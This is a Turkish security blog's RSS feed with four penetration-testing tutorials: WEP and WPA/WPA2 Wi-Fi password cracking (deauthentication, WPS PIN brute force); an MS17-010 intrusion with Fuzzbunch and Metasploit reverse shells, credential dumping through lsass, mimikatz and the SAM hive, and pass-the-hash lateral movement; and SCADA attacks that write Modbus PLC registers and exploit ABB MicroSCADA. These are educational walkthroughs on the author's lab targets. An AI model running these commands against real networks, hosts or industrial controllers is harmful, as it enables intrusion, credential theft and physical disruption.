How To arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Wed, 14 Feb 2018 08:52:32 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png How To arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme https://canyoupwn.me/tr-kablosuz-ag-saldirilari-2-wpa-wpa2-sifrelemeleri-parola-ele-gecirme/ https://canyoupwn.me/tr-kablosuz-ag-saldirilari-2-wpa-wpa2-sifrelemeleri-parola-ele-gecirme/#respond Wed, 14 Feb 2018 08:17:56 +0000 https://canyoupwn.me/?p=7393 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıyı okumaya  başlamadan önce temel kavramlar ve terimler için Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme  adlı yazımızı okumanızı tavsiye etmekteyim. Bir önceki yazıda WEP protokolünün zayıflıklarını ve parolasını ele geçirmeye değinmiştim bu yazıda ise günümüzde yaygın olarak kullanılan WPA/WPA2 şifreleme algoritmaları ve parolalarını ele geçirilmesine yönelik saldırılara değineceğim. Kullanacağımız donanım ve […]

TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıyı okumaya  başlamadan önce temel kavramlar ve terimler için Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme  adlı yazımızı okumanızı tavsiye etmekteyim.

Bir önceki yazıda WEP protokolünün zayıflıklarını ve parolasını ele geçirmeye değinmiştim bu yazıda ise günümüzde yaygın olarak kullanılan WPA/WPA2 şifreleme algoritmaları ve parolalarını ele geçirilmesine yönelik saldırılara değineceğim. Kullanacağımız donanım ve yazılımlar WEP için kullandıklarımızın aynısı olan aircrack yazılım ailesini kullanacağız.

WPA ve WPA2 şifrelemesini kullanan bir Erişim  noktasının (Access Point)  parolasını ele geçirebilmek için havada yakalanan paketlerde istemci ile erişim noktası arasında gerçekleşen dörtlü el sıkışma trafiği üzerine  kaba kuvvet (Brute force) saldırısı kullanılabilir.

İlk olarak airmon-ng start wlan0  komutu ile wifi adaptörümüzü monitor moda alıyoruz.

Daha sonra airodump-ng wlan0mon  komutu ile çevredeki ağlar hakkında bilgi topluyoruz.

Buradan ESSID Ahmet-Test  olan BSSID 14:5F:94:48:F7:04  olan ve Channel numarası 1 olan WPA2-PSK şifrelemesini kullanan erişim noktasını hedef alacağız.

Artık bu ağı hedef göstererek aşağıdaki araç ve komutlar ile  paket toplamaya  başlıyoruz.

Görüldüğü gibi havada giden paketler toplanarak kaydedilmektedir.

Dörtlü el sıkışma paketlerini yakalabilmemiz için bağlı olan istemcilere deauthentication paketleri gönderek ağdan düşüp yeniden bağlanmasını sağlamak için aireplay-ng –deauth 100 -e Ahmet-Test wlan0mon  aireplay-ng aracını kullanıyoruz.

Artık düşen istemci yeniden erişim noktasına bağlanırken dörtlü el sıkışma gerçekleşicek ve bu paketleri bizde yakalarak kaydetmiş olacağız.

aircrack-ng WPA2-01.cap -w /usr/share/wordlist/rockyou.txt -o  komutu ile yakalanan paketler üzerine kaba kuvvet saldırı gerçekleştirilmiştir. Bu parola listemizde (wordlist) kablosuz ağa ait parola bulunduğu için parola bulunmuştur. Tamamen listenizde parola var ise işe yarayan bir saldırıdır. Dörtlü el sıkışma paketleri üzerinden kaba kuvvet saldırısı ile WPA/WPA2 şifreleme protokollerini kullanan ağların parolası bu  şekilde ele geçirilebilmektedir.

WPS PIN Kırma ve WPS PIN Bilinen Ağ Parolasını Elde Etme

Bu saldırıdan başka şifreleme protokolleri haricinde erişim noktaları ile aygıtları birbirine bağlamasını kolaylaştırmak amacı taşıyan Wi-Fi Protected Setup (WPS) PIN’i ilede gerçekleşen saldırılar  vardır.

“Wi-Fi protected setup” (WPS), tecrübesiz kullanıcıların router ile diğer ürünlerini kablosuz olarak kolayca bağlamalarını sağlayan bir sistemdir.

WPS destekli router’ların arka tarafında 8 haneli bir kod bulunmaktadır.

Kablosuz ağınıza örneğin bir laptop bağladığınızda bu 8 haneli PIN kodunu girmeniz gerekir.

WPS güvenliği, 8 haneli güvenlik kodunu 4 haneli 2 gruba ayırmaktadır.Birinci grup 4 haneli şifre doğru girilirse router doğru diye değer döndürüyor. Bu özellikten faydalanarak WPS PIN kırma saldırıları yapılmaktadır. WPS PIN’i bilinen bir ağın parolasıda kolaylıkla ele geçmektedir.

wifite aracı Kali Linux’ta krulu olarak gelmektedir. Terminale wifite yazarak konsoldan kullanabilirsiniz. Çevredeki ağlar hakkında bilgi toplayıp WPS durumlarını görebilirsiniz. Araç üzerinden wifi ağlarına yönelik atakları kolayca gerçekleştirebilirsiniz.

WPS’i Aktif Modemde WPS PIN Ele Geçirme

reaver -i wlan0mon -c 1 -b 14:5F:94:48:F7:04    -vv -L -N -d 15 -T .5 -r 3:15

Kali Linux’ta kurulu olarak gelen reaver aracı ile WPS Pın kullanımı aktif modemler için PIN’i kırmak için kullanılır.

WPS PIN’i Bilinen Ağın Parolasını Bulma

reaver -i wlan0mon -b 14:5F:94:48:F7:04  -d 0 -c 1 -vv -p 25905892

Bazı eski modemlerin WPS PIN’ı default olarak bulunabilir, onun dışındakilerde reaver ile PIN bulunup daha sonra kablosuz ağ parolası ele geçirilebilir. Fakat bu açıklık nedeniyle modemler yanlış denemelerden sonra belli bir süre bekletme, tuşla WPS’e bağlanma gibi yeni özellikler gelmiştir. Yinede eski, güncel olmayan WPS’i aktif modemlerde bu şekilde kablosuz ağ parolasını ele geçirebilirsiniz.

KRACK Zafiyeti

KRACK zafiyeti WPA/WPA2 şifrelemesini kullanan tüm işletim sistemlerini etkilemektedir. Fakat Krack zafiyeti ağın parolasını ele geçirmek değilde ağın parolası bilinmemesine rağmen  kablosuz ağ trafiğinin dinlenmesine yönelik bir zafiyettir.

Bu zafiyetten etkilenip etkilenmediğinizi  test etmek  için yayınlanan https://github.com/vanhoefm/krackattacks-scripts  aracını kullanabilirsiniz.

Bu zafiyetten etkilenmemek için şuan bir çok üretici güncelleme çıkardı bu güncellemeyi yapabilirsiniz. Güncelleme gelmeyen ve ya yapamayanlarda ağ içinde VPN kullanarak tüm trafiği şifrelemesi geçici bir çözüm olacaktır.

TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme Ahmet Gürel

]]>
https://canyoupwn.me/tr-kablosuz-ag-saldirilari-2-wpa-wpa2-sifrelemeleri-parola-ele-gecirme/feed/ 0
TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme https://canyoupwn.me/tr-kablosuz-ag-saldirilari-1-wep-sifreleme-parolasini-ele-gecirme/ https://canyoupwn.me/tr-kablosuz-ag-saldirilari-1-wep-sifreleme-parolasini-ele-gecirme/#respond Mon, 12 Feb 2018 06:00:01 +0000 https://canyoupwn.me/?p=7383 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Wi-Fi ağınızın güvenliğini sağlamak için ortaya çıkmış şifreleme yöntemleri vardır, bu şifreleme yöntemlerinden biri WEP (Wired Equivalent Privacy) dir. Wired Equivalent Privacy (WEP), dünyada en çok kullanılan Wi-Fi güvenlik algoritması. Bunun sebebi ise, geriye uyumluluğu ve birçok router’ın kontrol panelinde ilk sırada yer alması. WEP 64-bit olarak çıktı fakat sonra 128-bit’e çıkarıldı. Günümüzde 256-bit WEP […]

TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Wi-Fi ağınızın güvenliğini sağlamak için ortaya çıkmış şifreleme yöntemleri vardır,
bu şifreleme yöntemlerinden biri WEP (Wired Equivalent Privacy) dir.

Wired Equivalent Privacy (WEP), dünyada en çok kullanılan Wi-Fi güvenlik
algoritması. Bunun sebebi ise, geriye uyumluluğu ve birçok router’ın kontrol
panelinde ilk sırada yer alması.

WEP 64-bit olarak çıktı fakat sonra 128-bit’e çıkarıldı. Günümüzde 256-bit WEP
şifrelemesi mevcut olsa da, 128-bit şifreleme halen en yaygın olarak kullanılan.

Algoritmadaki bir çok düzeltmeye ve arttırılan anahtar boyutuna rağmen, WEP
standardında zaman içinde birçok güvenlik açığı keşfedildi. Ücretsiz araçlar ile
kolaylıkla kıralabilmeltedir.(Aircrack vb.) WEP 2004 yılında resmi olarak bitirildi.

WEP ağına bağlanılırken aşağıdaki gibi  kimlik doğrulama gerçekleşir.

 

WEP Algoritmasının 3 Önemli Amacı : 

  • Kimlik Doğrulama (Authentication)
  • Gizlilik (Privacy)
  • Bilgi Değiştirme Kontrolu (Message Modification Control)

WEP’in teknik altyapısı RC4 (Rivest Cipher) akış şifreleme algoritmasına dayanır. RC4’ün amacı, verilen bir gizli anahtar ile geniş uzunlukta rastgele sayılar üretmek ve daha sonra bu akışla göndericide düz metin mesajı şifrelemektir.Mesajın şifrelenmesinin çözümü ve şifrelemesi temel olarak XOR fonksiyonu ile yapılmaktadır. WEP onay sisteminde RC4 ile  iki defa XOR lanan sonuç aynı değeri vermektedir.  IV (Initialization Vector)  paketleri WEP de düşük boyutta olduğu için tekrara neden olabiliyor. IV (Initialization Vector)  gerçek anahtara eklenilip RC4 işleme giriyor dolayısıyla her IV değiştirildiğinde RC4 tekrar şifrelemeye başlıyor. Yeterince tekrar etmeyen IV (Initialization Vector)   paket topladığında WEP parolası  kırılabilmektedir.

WEP Parolasını Ele Geçirme Adımları:

Başlamadan önce;

  • Kendi cihazımızın MAC adresi = iwconfig ya da ifconfig komutu ile görebilirsiniz.
  • BSSID  =  Hedef  Mac Adresi
  • ESSID  =  Hedef Kablosuz Ağ adı
  • Channel = Yayın yapılan kanal numarası

bu terimlerin açılımını öğrendikten sonra Kali Linux üzerindeki Aircrack araç ailesini kullarak kıracağız. Donanım olarak TP-LINK TL-WN727N adaptörünü kullanacağım.

ifconfig wlan0 ve ya iwconfig komutları ile kablosuz adaptörümüzü görüntüleyebiliriz.

airmon-ng start wlan0 komutu ile  adaptörümüzü  monitor moda alıyoruz.

Yukarıdaki resimde gördüğümüz gibi wlan0 monitor moda geçerek wlan0mon olmuştur.

airodump-ng wlan0mon komutu ile etraftaki paketleri dinleyerek kablosuz ağlar hakkında bilgi topluyoruz. Yukarıda ki resimde gördüğümüz gibi BSSID, ESSID ve Channel bilgileri görüntülenmektedir.

Terminalimize wifite yazarak aracımızı başka bir aracımızı açıyoruz. WPS ve Clients bilgilerini görebilmekteyiz.

Yukarıda topladığımız bilgilere göre ESSID Ahmet-Test BSSID 3C:DF:BD:EC:E8:5A olan Channel numarası 10 olan ve WEP protokolünü kullanan erişim noktasını hedef alacağız.

airodump-ng wlan0mon -c 10 –bssid 3C:DF:BD:EC:E8:5A -w WEP komutu ile Ahmet-Test eişin noktasının paketlerini toplayarak -w parametresi ile bulunduğu dizine kaydetmesini sağlıyoruz.

aireplay-ng -1 1 -a 3C:DF:BD:EC:E8:5A -h D4:6E:0E:1A:32:26 wlan0mon komutu ile fake authentication oluşturarak daha hızlı bir şekilde paket toplama işlemi gerçekleştireceğiz. -1 ile fake authentication üreteceğimizi aireplay-ng aracına belirttikden sonra kaç saniyede bir gönderileceğini girdik. -a parametresi ile BSSID  (Hedef Mac adresini) giriyoruz. -h ile kendi adaptörümüzün mac adresini giriyoruz ve fake authentication  paketleri gönderiyoruz.

aireplay-ng -3 -b 3C:DF:BD:EC:E8:5A -h D4:6E:0E:1A:32:26 wlan0mon komutu ilede IV (Initialization Vector)  paketi oluşturmak için ARP paketlerini yakalayıp sürekli olarak  tekrarlamaktadır.

aircrack-ng WEP-01.cap komutu ile yeterli sayıda IV (Initialization Vector)  paketi toplandığında WEP parolası kırılmaktadır.

TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme Ahmet Gürel

]]>
https://canyoupwn.me/tr-kablosuz-ag-saldirilari-1-wep-sifreleme-parolasini-ele-gecirme/feed/ 0
TR | Yerel Ağ Sızma Testi Senaryosunda Kullanılabilecek Araç ve Yöntemler https://canyoupwn.me/tr-yerel-ag-sizma-testi-senaryosunda-kullanilabilecek-arac-yontemler/ https://canyoupwn.me/tr-yerel-ag-sizma-testi-senaryosunda-kullanilabilecek-arac-yontemler/#respond Fri, 09 Feb 2018 18:03:18 +0000 https://canyoupwn.me/?p=7401 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese Merhaba, Bu yazıda birlikte MS17-010 zafiyeti bulunan bir bilgisayardan kurum içi sızma testi senaryosu canlandıracağız. MS17-010 zafiyeti Metasploit  güvenlik çatısı altında modülü bulunmaktadır. ( exploit/windows/smb/ms17_010_eternalblue ) Fakat bu modül sadece x64 mimari yanı 64 bit işletim sistemlerinde çalışmaktadır. x86 yani 32 bit işletim sistemlerinde çaresiz kalmaktadır. Ayrıca bunun dışında metasploit  popüler bir çatı olduğu […]

TR | Yerel Ağ Sızma Testi Senaryosunda Kullanılabilecek Araç ve Yöntemler Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese Merhaba,

Bu yazıda birlikte MS17-010 zafiyeti bulunan bir bilgisayardan kurum içi sızma testi senaryosu canlandıracağız. MS17-010 zafiyeti Metasploit  güvenlik çatısı altında modülü bulunmaktadır. ( exploit/windows/smb/ms17_010_eternalblue ) Fakat bu modül sadece x64 mimari yanı 64 bit işletim sistemlerinde çalışmaktadır. x86 yani 32 bit işletim sistemlerinde çaresiz kalmaktadır. Ayrıca bunun dışında metasploit  popüler bir çatı olduğu için  güvenlik ürünleri tarafında yakalanıp engellenebilmektedir. Bu MS17-010 zafiyetinde geçerli olduğu gibi bir çok zafiyetin metasploit ile sömürülmeye çalışıldığında kurumlarda başarılı olunmamakta ve otomatik yerine el ile sömürme işlemi gerçekleştirilmektedir. Yine aynı şekilde metasploit modülü olan PsExec ile hash’ı alınan bir makinaya bağlanabiliyoruz fakat  güvenlik ürünleri bu bağlantılarıda tanıyıp kesebiliyor. Yazının devamında bu yöntemlere ve alternatiflerine değinmeye çalışacağım.

İlk olarak en basitten başlayarak hedef makina/ip üzerinden zafiyeti tespit edip metasploit ile sızmaya çalışalım.

Nmap Script Engine (NSE) ile MS17-010 zafiyetinin olup olmadığını test ediyoruz. Resimde görüldüğü gibi VULNERABLE olarak çıktı vermekte. Bu makinada MS17-010 zafiyeti bulunmakta. NSE harici Metasploit ile use auxiliary/scanner/smb/smb_ms17_010 diyerekde zafiyetin olup olmadığını test edebilirsiniz.

Artık metasploit’i açarak use exploit/windows/smb/ms17_010_eternalblue diyerek MS17-010 zafiyetini metasploit ile sömürebiliriz.

Burada gördüğünüz gibi Exploit  target kısmında sadece x64 desteklenmektedir. Burada Payload olarak windows/x64/meterpreter/reverse_tcp payloadu kullanılmıştır. windows/x64/meterpreter/bind_tcp payloadıda farklı senaryolarda işinize görecektir.

Meterpreter komut satırına düştük buradan sonra meterpreter’in gelişmiş yeteneklerini kullanabilirsiniz ya da shell diyerek windows cmd satırına düşebilirsiniz.  Windows tarafındaki en yetkili kulanıcı hakları olan NT AUTHORITY\SYSTEM  yetkileri ile sisteme giriş yapıldığından dolayı  bellekten hash ve parola çıkarma işlemleri yapılabilir.

Yukarıdaki resimlerde  görüldüğü gibi meterpreter üzerinde hashdump ve mimikatz kullanılarak kullanıcı hash ve parolalarını elde edebildik.   incoginito aracı  ile  kullanıcı tokenları arasında değiştirebildik.

Meterpreter ile sisteme sızmış olmasaydık cmd üzerinden yine procdump.exe aracını hedef makinaya indirerek cmd üzerinden procdump ile lsass.exe dumpını alarabiliriz.

C:\procdump.exe -accepteula -ma lsass.exe dump.dmp

Oluşturduğumuz lsaass.exe’nin dump.dmp  dosyasını kendi makinamıza indirerek kendi makınamızda mimikatz  ile aşağıdaki komutlar ile inceleyebiliriz.

mimikatz.exe

privilege::debug

sekurlsa::minidump dump.dmp

sekurlsa::logonPasswords

Ayrıca windows üzerinden sam ve system dosyalarını çıkartıp birleştirerek kullanıcı hashlerini elde edebiliriz. samdump2 aracı Kali Linux’ta yüklü olarak gelmektedir.

reg save hklm\sam c:\sam
reg save hklm\system c:\system

samdump2 system sam 

Bu şekilde meterpreter dışındada windows makinalar üzerinde hash ve parolaları manuel olarak elde edebiliriz.

CrackMapExec ile elde edilen hash ve parolalar subnet ve domaindeki tüm makinalarda bu parola veya hash  Local Admin  hakları ile çalışıyorsa yukarıdaki resimdeki gibi  Pwn3d!  yazmaktadır. Bu aşamadan sonra isterseniz CME (Crack Map Exec) ile makinalardaki tokenları toplayabilir ya da bu makinalara bu hash ya da parolalar ile PsExec,SMBExec ya da WCE ile  giriş yapılıp manuel olarak bu işlemleri gerçekleştirilebilir.

Metasploit’i açtıktan sonra use exploit/windows/smb/psexec  diyerek  metasploit  ile giriş yapabilmekteyiz. Fakat başta söylediğim gibi bazı durumlarda güvenlik ürünleri tarafından tespit edilip kesilmektedir. Bunun için PsExec’e alternatif olarak Python’ın  impacket modülünde  bulunan  smbexec.py  işimizi görmektedir.

Windows bir makinadan hash ile hedef makinaya bağlanmak için Windows Credentiol Editor (WCE)  ile bağlanılabilir.

wce.exe -l
wce.exe -g testlerdeyim
wce.exe -s <Kullanıcıadı>:<Domain/yadamakinaipsi>:<LM Hash>:<NTLM Hash>
net use ipADMIN$
PsExec.exe IPADRESİ -s cmd

Buraya kadar MS17-010 zafiyeti ile sisteme sızılıp daha sonra kurum içindeki yada Domainde ki  diğer makinalarda aynı hashlerin tespiti bu makinalara hash ya da parola ile bağlanıp o makinalarda ki hash ve parolaları manuel ve otomatik şekilde elde etmeyi inceledik. Domainde bulunan her makina üzerinden hash,parola ve tokenlar toplandıkça bunların içinde Domain Admin yetkileri ile çalışan kullanıcı parola,token ve hash’ine rastlamanız olası. Bu yetkide kullanıcılara ulaşabilirseniz DC makinalarıda artık elinizde demektedir. MS17-010 zafiyeti metasploit modülü x86 versiyonundan kaynaklı ya da güvenlik ürünlerinin engellemesinden kaynaklı kesilebilirdi. Bu durumda fuzzbunch ile  önüne geçebiliriz. x86 ve x64 işletim sistemi mimarilerinde çalışıp aynı zamanda bir çok güvenlik ürününe takılmadan başarı ile çalışmaktadır. Fuzzbunch’i çalıştırmak için hedef dışında Windows XP bir makina ve atak yapılacak,DLL oluşturulacak ve   bağlantının dinleneceği bir makina (Örn: Kali Linux)  daha kullanılmaktaydı. Bu süreci kolaylaştırmak için wine yazılımı ile Kali Linux üzerine  Fuzzbunch kurulum imkanı sağlayan Kali/fuzzbunch-debian  yazılımı linkteki sayfadaki yönergeler ile kurabilirsiniz.

Fuzzbunch-Debian Kurulum Komutları:

1- apt update

2- apt install wine winbind winetricks

3- dpkg –add-architecture i386 && apt-get update && apt-get install wine32

4- WINEPREFIX=”$HOME/.wine-fuzzbunch” WINEARCH=win32 wine wineboot

5- export WINEPREFIX=$HOME/.wine-fuzzbunch

6- wine regedit.exe

7- regedit açıldıktan sonra sağa tıklayıp Add String Value diyerek Type kısmına  String Name kısmına PATH  Value kısmına  c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch  değerlerini girerek çıkıyoruz.

8- cd $HOME/.wine-fuzzbunch/drive_c

9- git clone https://github.com/mdiazcl/fuzzbunch-debian.git

10- winetricks python26

11- cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows

12- wine cmd.exe

13- python fb.py

Kali/fuzzbunch-debian  kurarak Windows XP bağımlılığından kurtularak tek bir saldırgan makina ile atağı gerçekleştirebiliriz.

python fb.py ile fuzzbunch açıldığında yukarıda ki resimdeki ekran gelmektedir. 0 New project diyip isim verip  Target (Sızılacak Hedef IP)  ve Callback (Bağlantı gelecek bizim IP) değişkenlerini girerek enter tuşu ile değişkenlerin varsayılan değerlerini onaylayarak ilerliyoruz.

use Eternalblue diyerek MS17-010 Eternalblue exploitini kullanacağız.

Resimlerde ki parametreler girilip execute dediğimizde Eternalblue başarılı bir şekilde çalışmaktadır.

Eternalblue başarılı bir şekilde hedefte çalıştıkdan sonra use Doublepulsar  diyerek exploiti tamamlayacağız.

Bu resimde görüldüğü gibi işletim sisteminin mimarisini sormakta. Metasploit modülünde sadece x64 seçeneği mevcut.

Bizim hedef makinamız x64 olduğu için 1 diyerek devam ediyoruz. Function kısmında exploitin çalışıp çalışmadığını denemek için 1 seçerek Ping komutu çalıştırıyoruz.

Ve komutumuz başarılı bir şekilde çalıştı. Artık 2 numaralı  Run DLL Function’ı çalıştırıp kendimize DLL üretip onu hedef sistemde çalıştırarak shell alabiliriz.

MSFVenom ile x64 bir DLL üreterek bunu fuzzbunch’in kurulu olduğu dizine taşıyoruz.

Yukarıda ki resimde görüldüğü gibi set Function RunDLL diyerek functionımızı seçiyoruz. DLLOrdinal ve  DLLPayload değişkenlerini girdikten sonra execute ile Doublepulsar’ı çalıştırıyoruz.

Başarılı bir şekilde çalıştı.

Doublepulsar’ı çalıştırmadan önce DLL’i oluştururken kullandığımız IP adresli makinada  multi/handler modülü ile IP ve port numarasını dinlemeye başlıyoruz. Doublepulsar başarılı bir şekilde çalıştığında hedef makinadan shell gelmektedir.

Fuzzbunch ile DLL injecte ederken bunu MSFVenom yerine Empire ile DLL oluşturup onu Doublepulsar ile hedefte çalıştırarak gelen shell bağlantısını agent olarak  Empire üzerinden kullanabilirsiniz.

Resimlerde görüldüğü gibi Empire ile DLL oluşturulup fuzzbunch dizinine taşınıp Doublepulsar DLLPath değişkenine bu DLL verilip  çalıştırıldığında Empire agent’ı başarılı bir şekilde oluşmaktadır. Agent oluştukdan sonra Empire ile post exploitation  yapabilirsiniz. Empire kurulum ve kullanımı adlı  yazıma buradan ulaşabilirsiniz.

Bir başka yazıda görüşmek üzere.

TR | Yerel Ağ Sızma Testi Senaryosunda Kullanılabilecek Araç ve Yöntemler Ahmet Gürel

]]>
https://canyoupwn.me/tr-yerel-ag-sizma-testi-senaryosunda-kullanilabilecek-arac-yontemler/feed/ 0
TR | SCADA Sistemleri ve Güvenliği https://canyoupwn.me/tr-scada-sistemleri-guvenligi/ https://canyoupwn.me/tr-scada-sistemleri-guvenligi/#respond Wed, 07 Feb 2018 16:46:49 +0000 https://canyoupwn.me/?p=7429 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SCADA açılımı Supervisory Control And Data Acquisition yani “Merkezi Denetleme Kontrol ve Veri Toplama” sistemidir. Kritik sistemlerin ve tesislerin  merkezi olarak izlenmesine olanak veren sistemdir. SCADA Sistemlerinin Başlıca Özellikleri Grafik Arayüz İzleme Sistemi Alarm Sistemi Veri Toplama, Analiz ve Raporlama Sistemleridir. SCADA üç temel bölümden oluşur; Uzak Uç Birim (Remote Terminal Unit (RTU) ) İletişim Sistemi Kontrol […]

TR | SCADA Sistemleri ve Güvenliği Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SCADA açılımı Supervisory Control And Data Acquisition yani “Merkezi Denetleme Kontrol ve Veri Toplama” sistemidir. Kritik sistemlerin ve tesislerin  merkezi olarak izlenmesine olanak veren sistemdir.

SCADA Sistemlerinin Başlıca Özellikleri

  • Grafik Arayüz
  • İzleme Sistemi
  • Alarm Sistemi
  • Veri Toplama, Analiz ve Raporlama Sistemleridir.

SCADA üç temel bölümden oluşur;

  • Uzak Uç Birim (Remote Terminal Unit (RTU) )
  • İletişim Sistemi
  • Kontrol Merkezi Sistemi (Ana Kontrol Merkezi AKM – Master Terminal Unit MTU)

İletişim Protokolleri

RS232 / RS422 / RS485 / Modbus protokolleri, bir Modbus cihazını bir veya daha fazla genel seri cihaz (örneğin, yazıcılar, barkod tarayıcılar  ve benzeri) ile birçok cihaz bilgisayarlara veya birbirlerine bağlanabilmeye izin verir.

SCADA’nın Kullanım Alanları

  • Nükleer Tesisler
  • Elektrik Tesisleri
  • Su Toplama-Arıtma-Dağıtım Tesisleri
  • Trafik Kontrol Sistemleri
  • Otomotiv Endüstrisi
  • Doğalgaz Tesisleri
  • Kısaca aklımıza gelebilecek endüstriyel otomasyon sistemlerinde kullanılmaktadır.

SCADA Sistemleri hakkında genel bilgileri verdikten sonra gelelim SCADA Network ve Güvenliğine :

 

Yukarıda gördüğünüz örnek bir SCADA Network topolojisidir. Uzakdaki  PLC istasyonlarından sensörlerden toplanan verileri toplayarak merkezi olarak denetlenmesini sağlamaktadır.

 

Yukarıda Modbus protokolunun SCADA içinde kullanım örneği görülmektedir. MODBUS protokolü seri port ve internet protokollerini kullanarak haberleşme yapar. ( MODBUS RTU, MODBUS ASCII,MODBUS PLUS, MODBUS TCP/IP )

SCADA Sistemlerinde Güvenlik Riskleri

  • SCADA Yazılımlarında bulunan zafiyetler
  • SCADA Network Protokol ve Cihazlarında  bulunan zafiyetler
  • Dışa açık SCADA Kontrol ve Yönetim Panellerinde Ön tanımlı parola kullanımı
  • Kullanılan işletim sistemlerinde bulunan zafiyetler

yukarıda ki adımlar SCADA sistemlerinde güvenlik açısından büyük risk oluşturmaktadır.

SCADA Sistemlerinde güvenlik için kontrol edilebilecek noktalar

  • Cihazlar fabrika varsayılan kimlik bilgileri kullanıyor mu?
  • SCADA Network Protokol ve Cihazları  güncel mi?
  • PLC’lere erişim yalnızca yetkili makineler için beyaz listeye alınmış mı? Her yerden erişilebilir olmamalıdır.
  • SCADA ağı şebekenin geri kalanından ayrı mı? Eğer değilse, kurumsal iş istasyonlarından PLC’lere ulaşmayı deneyin.
  • SCADA kontrol merkezine fiziksel erişim sınırlı mı?
  • Denetleyici makineden internete erişebilir misin?
  • SCADA ağında çalışan açık metin hizmetleri var mı?
  • Kurum sıkı bir parola politikası izliyor mu?
  • Denetleyici makineleri, iş istasyonları ve sunucular güncel mi? (Eski sürüm zafiyerleri MS08-067,MS17-010 vb.)
  • Anti-virüs yazılımı çalıştırıyorlar mı? ve uygulama beyaz listesine zorla uygulanıyor mu?

Örnek SCADA Sızma Testi  Uygulamaları : 

SCADA Network’unde bulunabilecek bir Windows XP işletim sistemi üzerine  ABB MicroSCADA Pro SYS600 9.3 yazılımı ve Modbus client yazılımı  olan Modbus Pal 1.6b yazılımları kurulmuştur. Bu makina üzerinden örnek bir kaç senaryo incelenecektir.

İlk olarak yazılımlara geçmeden önce kullanılan işletim sisteminin güncel olması ve zafiyetlerden etkilenmemesi gereklidir. Yukarıda gördüğünüz gibi kullanılan Windows XP makina MS08-067 zafiyetinden etkilenmektedir ve sisteme metasploitin exploit/windows/smb/ms08_067_netapi  exploiti ile sızılmıştır.

Yukarıda ki resimde ABB MicroSCADA Pro SYS600 9.3 ve Modbus TCP/IP protokolünü kullanan Modbus Pal 1.6b  Client uygulamalası görülmektedir.

Modbus TCP port 502 üzerinden çalışmaktadır. Modbus TCP/IP açık metinli bir protokoldür. Ortadaki adam saldırılarına açıktır. (MitM)

nmap –script modbus-discover.nse –script-args=’modbus-discover.aggressive=true’ –scan-delay=1 -p 502 <host> 

Yukarıda ki Nmap Script Engine  (NSE) ile Modbus protokol kullanımını tespit edebilirsiniz.

Metasploitin auxiliary/scanner/scada/modbusclient  modülü Modbus protokolünü kullanarak bir PLC’ye veri okuma ve yazma imkanı verir.  Aşağıda metasploite girilen DATA_ADRESS  0 yukarıda ki  resimde gördüğünüz 1. değere,DATA_ADRESS   2  yazıldığında ise  3. değeri okuyup getirdiği görülmektedir.

Modbus protokolü üzerinde Data adreslerinde ki değerleri okuyabildiğimiz gibi yazma işlemide gerçekleştirilebilmektedir. auxiliary/scanner/scada/modbusclient modülüne set ACTION WRITE_REGISTER  komutunu girdikten sonra istenilen DATA_ADRESS belirtildekten sonra yazılmak istenen değer DATA değişkeninde belirtilerek işlem gerçekleştirilebilir.

DATA_ADRESS olarak 0 girilip DATA olarak 57 verisi girildiği için Modbus Pal 1.6b yazılımında yazan ilk değer 0 dan 57 ye değişmiştir.

Bunun haricinde Nmap’in scada için olan NSE’lerine buradan ulaşabilirsiniz.

ABB MicroSCADA uygulamasında wserver.exe  uzaktan kod yürütme zafiyetinden etkilenmektedir.
ABB MicroSCADA’daki uzaktan Stack tabanlı Buffer Overflow güvenlik açığı bulunmaktadır. Zafiyet , komut çalıştırmayı sağlayan wserver.exe bileşenindeki kimliği doğrulanmamış EXECUTE işlemlerinin işlenmesinden kaynaklanmaktadır. Wserver.exe bileşeni varsayılan olarak devre dışıdır, ancak bir proje SCIL işlevini WORKSTATION_CALL kullandığında gereklidir. Scada Network ile haberleşmesi için açıldığında güvenlik zafiyeti oluşturmaktadır.

Metasploit ile exploit/windows/scada/abb_wserver_exec exploiti kullanılarak yazılım üzerinden sisteme sızılabilir.

ABB MicroSCADA Pro SYS600 9.3 yazılımında bulunan zafiyet ile sisteme sızılmıştır. Kurulu olan  SCADA yazılımlarının en güncel versiyonda çalışıp ve üzerinde zafiyet bulunmadığından emin olmalısınız.

